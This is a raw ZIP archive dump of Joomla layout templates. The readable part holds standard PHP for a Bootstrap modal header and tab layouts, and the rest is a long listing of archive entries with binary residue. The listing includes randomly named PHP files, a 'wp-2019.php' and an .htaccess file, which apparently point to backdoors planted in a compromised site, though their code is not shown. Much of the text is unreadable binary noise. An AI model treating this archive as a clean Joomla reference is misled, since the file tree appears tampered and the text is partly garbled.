* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
?>
<div class="modal-header">
<?php if (isset($params['title'])) : ?>
<h3 class="modal-title"><?php echo
$params['title']; ?></h3>
<?php endif; ?>
<?php if (!isset($params['closeButton']) ||
$params['closeButton']) : ?>
<button type="button" class="btn-close
novalidate" data-bs-dismiss="modal"
aria-label="<?php echo
Text::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>">
</button>
<?php endif; ?>
</div>
PK]��[h�`*libraries/html/bootstrap/tab/endtabset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
PK]��[T,libraries/html/bootstrap/tab/starttabset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
?>
<ul class="joomla-tabs nav nav-tabs" id="<?php echo
preg_replace('/^[\.#]/', '', $selector);
?>Tabs" role="tablist"></ul>
<div class="tab-content" id="<?php echo $selector;
?>Content">
PK]��[h�`'libraries/html/bootstrap/tab/endtab.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
PK]��[�$$'libraries/html/bootstrap/tab/addtab.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
$title = empty($displayData['title']) ? '' :
$displayData['title'];
?>
<div id="<?php echo preg_replace('/^[\.#]/',
'', $id); ?>"
class="tab-pane<?php echo $active; ?>"
data-active="<?php echo trim(htmlspecialchars($active,
ENT_COMPAT, 'UTF-8')); ?>"
data-id="<?php echo htmlspecialchars($id, ENT_COMPAT,
'UTF-8'); ?>"
data-title="<?php echo htmlspecialchars($title, ENT_COMPAT,
'UTF-8'); ?>">
PK�J�[�V�
index.htmlnu�[���PK�J�[DƔ��Yjoomla/content/associations.phpnu�[���PK�J�[�l\��0�joomla/content/blog_style_default_item_title.phpnu�[���PK�J�[o��+� joomla/content/blog_style_default_links.phpnu�[���PK�J�[����%Yjoomla/content/categories_default.phpnu�[���PK�J�[f�V��+bjoomla/content/categories_default_items.phpnu�[���PK�J�[�U�+�
�
#vjoomla/content/category_default.phpnu�[���PK�J�[Z$�����"joomla/content/full_image.phpnu�[���PK�J�[����&joomla/content/icons/create.phpnu�[���PK�J�[�B�)joomla/content/icons/edit.phpnu�[���PK�J�[��ll"P/joomla/content/icons/edit_lock.phpnu�[���PK�J�[�&|��3joomla/content/icons/email.phpnu�[���PK�J�[iy�_$6joomla/content/icons/print_popup.phpnu�[���PK�J�[iy�_%}9joomla/content/icons/print_screen.phpnu�[���PK�J�[
|�&���<joomla/content/icons.phpnu�[���PK�J�[y�X���*�Djoomla/content/info_block/associations.phpnu�[���PK�J�[9��_kk$�Ijoomla/content/info_block/author.phpnu�[���PK�J�[s����#�Mjoomla/content/info_block/block.phpnu�[���PK�J�[�9]BB&�Ojoomla/content/info_block/category.phpnu�[���PK�J�[��(9ii)^Sjoomla/content/info_block/create_date.phpnu�[���PK�J�[���"
Vjoomla/content/info_block/hits.phpnu�[���PK�J�[���gg)�Xjoomla/content/info_block/modify_date.phpnu�[���PK�J�[q��ZZ-Q[joomla/content/info_block/parent_category.phpnu�[���PK�J�[���qq*_joomla/content/info_block/publish_date.phpnu�[���PK�J�['I���ajoomla/content/info_block.phpnu�[���PK�J�[�vQQ�jjoomla/content/intro_image.phpnu�[���PK�J�[/�q��qjoomla/content/language.phpnu�[���PK�J�[����"ztjoomla/content/options_default.phpnu�[���PK�J�[�P�����zjoomla/content/readmore.phpnu�[���PK�J�[<���ZZ�joomla/content/tags.phpnu�[���PK�J�[���i<<��joomla/content/text_filters.phpnu�[���PK�J�[L���B�joomla/edit/associations.phpnu�[���PK�J�[���7���joomla/edit/details.phpnu�[���PK�J�[��j��joomla/edit/fieldset.phpnu�[���PK�J�[A�ۖ
�
$joomla/edit/frontediting_modules.phpnu�[���PK�J�[�+%(��§joomla/edit/global.phpnu�[���PK�J�[QF�:WW��joomla/edit/item_title.phpnu�[���PK�J�[�
��3�joomla/edit/metadata.phpnu�[���PK�J�[e;�F
F
��joomla/edit/params.phpnu�[���PK�J�[�fd���joomla/edit/publishingdata.phpnu�[���PK�J�[�
�joomla/edit/title_alias.phpnu�[���PK�J�[=�͙55!W�joomla/editors/buttons/button.phpnu�[���PK�J�[|��k>>��joomla/editors/buttons.phpnu�[���PK�J�[79�y��e�joomla/error/backtrace.phpnu�[���PK�J�[�V�V�joomla/error/index.htmlnu�[���PK�J�[v�������joomla/form/field/calendar.phpnu�[���PK�J�[ќ�ww
��joomla/form/field/checkboxes.phpnu�[���PK�J�[�ϻ���$��joomla/form/field/color/advanced.phpnu�[���PK�J�[�2Hq
q
"njoomla/form/field/color/simple.phpnu�[���PK�J�[�{�<<1joomla/form/field/combo.phpnu�[���PK�J�[��&���$�(joomla/form/field/contenthistory.phpnu�[���PK�J�[�y�ƨ
�
�+joomla/form/field/email.phpnu�[���PK�J�[�ۼE���9joomla/form/field/file.phpnu�[���PK�J�[���� � �Fjoomla/form/field/hidden.phpnu�[���PK�J�[�*]��Pjoomla/form/field/media.phpnu�[���PK�J�[�`:%��Jijoomla/form/field/meter.phpnu�[���PK�J�[S�Z�"
"
!zvjoomla/form/field/moduleorder.phpnu�[���PK�J�[�\Id�
�
�joomla/form/field/number.phpnu�[���PK�J�[�X�B���joomla/form/field/password.phpnu�[���PK�J�[Ӵd��S�joomla/form/field/radio.phpnu�[���PK�J�[Z���$�joomla/form/field/range.phpnu�[���PK�J�[�����%a�joomla/form/field/subform/default.phpnu�[���PK�J�[�R��<t�joomla/form/field/subform/repeatable/section-byfieldsets.phpnu�[���PK�J�[~�M<<0o�joomla/form/field/subform/repeatable/section.phpnu�[���PK�J�[al,p��B�joomla/form/field/subform/repeatable-table/section-byfieldsets.phpnu�[���PK�J�[��{{6|�joomla/form/field/subform/repeatable-table/section.phpnu�[���PK�J�[�F���.]�joomla/form/field/subform/repeatable-table.phpnu�[���PK�J�[^�B%%(J�joomla/form/field/subform/repeatable.phpnu�[���PK�J�[
��PA
A
�joomla/form/field/tel.phpnu�[���PK�J�[v�����Qjoomla/form/field/text.phpnu�[���PK�J�[�J�
�"joomla/form/field/textarea.phpnu�[���PK�J�['�X�
�/joomla/form/field/url.phpnu�[���PK�J�[wjȬ�P=joomla/form/field/user.phpnu�[���PK�J�[|o��>>FLjoomla/form/renderfield.phpnu�[���PK�J�[�}ZMjj�Pjoomla/form/renderlabel.phpnu�[���PK�J�[T��.���Wjoomla/html/batch/access.phpnu�[���PK�J�[��j���#�Zjoomla/html/batch/adminlanguage.phpnu�[���PK�J�[ϚG���
ajoomla/html/batch/item.phpnu�[���PK�J�[�P?��&fjoomla/html/batch/language.phpnu�[���PK�J�[�y8U??bljoomla/html/batch/tag.phpnu�[���PK�J�[�}�� �ojoomla/html/batch/user.phpnu�[���PK�J�[�
�qII'=tjoomla/html/formbehavior/ajaxchosen.phpnu�[���PK�J�[g5���#�zjoomla/html/formbehavior/chosen.phpnu�[���PK�J�[Nd3����joomla/html/sortablelist.phpnu�[���PK�J�[�$n
҇joomla/html/tag.phpnu�[���PK�J�[�Sލ66#�joomla/html/treeprefix.phpnu�[���PK�J�[�?���joomla/links/groupclose.phpnu�[���PK�J�[c������joomla/links/groupopen.phpnu�[���PK�J�[�b�E��joomla/links/groupsclose.phpnu�[���PK�J�[XO�$$�joomla/links/groupseparator.phpnu�[���PK�J�[�\)��joomla/links/groupsopen.phpnu�[���PK�J�[
t�II�joomla/links/link.phpnu�[���PK�J�[p%�}��x�joomla/modal/body.phpnu�[���PK�J�[�-���j�joomla/modal/footer.phpnu�[���PK�J�[�;��1 1 u�joomla/modal/header.phpnu�[���PK�J�[���-
-
�joomla/modal/iframe.phpnu�[���PK�J�[��ZR��a�joomla/modal/main.phpnu�[���PK�J�[y��tt^�joomla/pagination/link.phpnu�[���PK�J�[祄0 �joomla/pagination/links.phpnu�[���PK�J�[U����joomla/pagination/list.phpnu�[���PK�J�[�������joomla/quickicons/icon.phpnu�[���PK�J�[@�(Ϣ�"�joomla/searchtools/default/bar.phpnu�[���PK�J�[�W�I&�joomla/searchtools/default/filters.phpnu�[���PK�J�[��ǫ^^#joomla/searchtools/default/list.phpnu�[���PK�J�[�0�{{&�joomla/searchtools/default/noitems.phpnu�[���PK�J�[baؤ�'�joomla/searchtools/default/selector.phpnu�[���PK�J�[:;���joomla/searchtools/default.phpnu�[���PK�J�[��!�((
�"joomla/searchtools/grid/sort.phpnu�[���PK�J�[G�܈X X B'joomla/sidebars/submenu.phpnu�[���PK�J�[��EMM�0joomla/sidebars/toggle.phpnu�[���PK�J�[c
���|3joomla/system/message.phpnu�[���PK�J�[���L��!�7joomla/tinymce/buttons/button.phpnu�[���PK�J�[cߪĿ��9joomla/tinymce/buttons.phpnu�[���PK�J�[<�����;joomla/tinymce/textarea.phpnu�[���PK�J�[~�
���>joomla/tinymce/togglebutton.phpnu�[���PK�J�[�OGhh�Ajoomla/toolbar/base.phpnu�[���PK�J�[L�,��Cjoomla/toolbar/batch.phpnu�[���PK�J�[�m��Fjoomla/toolbar/confirm.phpnu�[���PK�J�[�b�E!@Ijoomla/toolbar/containerclose.phpnu�[���PK�J�[ e@�
�Jjoomla/toolbar/containeropen.phpnu�[���PK�J�[CRleLjoomla/toolbar/help.phpnu�[���PK�J�[��''�Njoomla/toolbar/iconclass.phpnu�[���PK�J�[w�o$Pjoomla/toolbar/link.phpnu�[���PK�J�[�54���~Rjoomla/toolbar/modal.phpnu�[���PK�J�[�����Wjoomla/toolbar/popup.phpnu�[���PK�J�[z=�>��tZjoomla/toolbar/separator.phpnu�[���PK�J�[v�����[joomla/toolbar/slider.phpnu�[���PK�J�[{�
�[[�^joomla/toolbar/standard.phpnu�[���PK�J�[�_ޘ��\ajoomla/toolbar/title.phpnu�[���PK�J�[yS����cjoomla/toolbar/versions.phpnu�[���PK�J�[�2�g��'gglibraries/cms/html/bootstrap/addtab.phpnu�[���PK�J�[�� ���-�ilibraries/cms/html/bootstrap/addtabscript.phpnu�[���PK�J�[��v�'�llibraries/cms/html/bootstrap/endtab.phpnu�[���PK�J�[��v�*&nlibraries/cms/html/bootstrap/endtabset.phpnu�[���PK�J�[ษ:��,�olibraries/cms/html/bootstrap/starttabset.phpnu�[���PK�J�[�ׯ��2�qlibraries/cms/html/bootstrap/starttabsetscript.phpnu�[���PK�J�[#��h\\;
tplugins/editors/tinymce/field/tinymcebuilder/setoptions.phpnu�[���PK�J�[����0�vplugins/editors/tinymce/field/tinymcebuilder.phpnu�[���PK�J�[���6��'�plugins/system/privacyconsent/label.phpnu�[���PK�J�[
��
)K�plugins/system/privacyconsent/message.phpnu�[���PK�J�[_�ss#İplugins/user/profile/fields/dob.phpnu�[���PK�J�[Ui}��plugins/user/terms/label.phpnu�[���PK�J�[�a��
��plugins/user/terms/message.phpnu�[���PK�J�[���6��9�qpyufacb.phpnu�[���PK�J�[��q��=�=m�wp-2019.phpnu�[���PK�J�[���6��ierfinejd.phpnu�[���PK�J�[��\ �.htaccessnu�[���PKA{�[S�4f��$�joomla/form/field/radio/switcher.phpnu�[���PKA{�[Ny�^���joomla/html/image.phpnu�[���PK+��[�B�_�� �range.phpnu�[���PK+��[=�4���.repeatable-table/section.phpnu�[���PK+��[ß:�7repeatable-table.phpnu�[���PKT��[傦��'Itoolbar/deletemedia.phpnu�[���PKT��[�
i���Mtoolbar/newfolder.phpnu�[���PKT��[��vZOtoolbar/uploadmedia.phpnu�[���PK\��[];^W���Qjoomla/edit/admin_modules.phpnu�[���PK\��[D+s� � �Vjoomla/content/emptystate.phpnu�[���PK\��[tj�c��$�`joomla/content/emptystate_module.phpnu�[���PK\��[gr/���ejoomla/toolbar/inlinehelp.phpnu�[���PK\��[���
�
�gjoomla/toolbar/basic.phpnu�[���PK\��[\U� sjoomla/toolbar/dropdown.phpnu�[���PK\��[��`MM#k|joomla/html/batch/workflowstage.phpnu�[���PK\��[l��H���joomla/button/iconclass.phpnu�[���PK\��[U����joomla/button/action-button.phpnu�[���PK\��[}o�b
b
#�joomla/button/transition-button.phpnu�[���PK\��[v\�����joomla/icon/iconclass.phpnu�[���PK]��[m�Cc����joomla/form/field/checkbox.phpnu�[���PK]��[�QP^S8S8�joomla/form/field/rules.phpnu�[���PK]��[�ma�!!'��joomla/form/field/list-fancy-select.phpnu�[���PK]��[��"���"��joomla/form/field/color/slider.phpnu�[���PK]��[z�+���#
joomla/form/field/radio/buttons.phpnu�[���PK]��[L�2�HH
joomla/form/field/radiobasic.phpnu�[���PK]��[h��R��!�.joomla/form/field/groupedlist.phpnu�[���PK]��[��0u���>joomla/form/field/list.phpnu�[���PK]��[�'���0�Njoomla/form/field/modal-select/extra-buttons.phpnu�[���PK]��[I����*�Wjoomla/form/field/modal-select/buttons.phpnu�[���PK]��[�q��
�
"kjoomla/form/field/modal-select.phpnu�[���PK]��[�m�ȣ�.Qyjoomla/form/field/groupedlist-fancy-select.phpnu�[���PK]��[0�Z<R�joomla/form/field/tag.phpnu�[���PK]��[�͵n��+��joomla/form/field/media/accessiblemedia.phpnu�[���PK]��[yTk���joomla/form/field/time.phpnu�[���PK]��[W�鈌�'�joomla/installer/changelog.phpnu�[���PK]��[%�
R��
�joomla/editors/buttons/modal.phpnu�[���PK]��[_�"=�plugins/system/webauthn/manage.phpnu�[���PK]��[w���OO
�plugins/user/token/token.phpnu�[���PK]��[�4�;;:��plugins/editors/tinymce/field/tinymcebuilder/setaccess.phpnu�[���PK]��[I�`>""`�chromes/none.phpnu�[���PK]��[!�/55��chromes/html5.phpnu�[���PK]��[�-0��8�chromes/outline.phpnu�[���PK]��[���@1�chromes/table.phpnu�[���PK]��[���ȧ�)w�libraries/html/bootstrap/modal/iframe.phpnu�[���PK]��[;��ľ�)w�libraries/html/bootstrap/modal/footer.phpnu�[���PK]��[R�#���'��libraries/html/bootstrap/modal/body.phpnu�[���PK]��[�Á['�libraries/html/bootstrap/modal/main.phpnu�[���PK]��[��s�D D )�libraries/html/bootstrap/modal/header.phpnu�[���PK]��[h�`*�!libraries/html/bootstrap/tab/endtabset.phpnu�[���PK]��[T,�"libraries/html/bootstrap/tab/starttabset.phpnu�[���PK]��[h�`']%libraries/html/bootstrap/tab/endtab.phpnu�[���PK]��[�$$'�&libraries/html/bootstrap/tab/addtab.phpnu�[���PK���I6*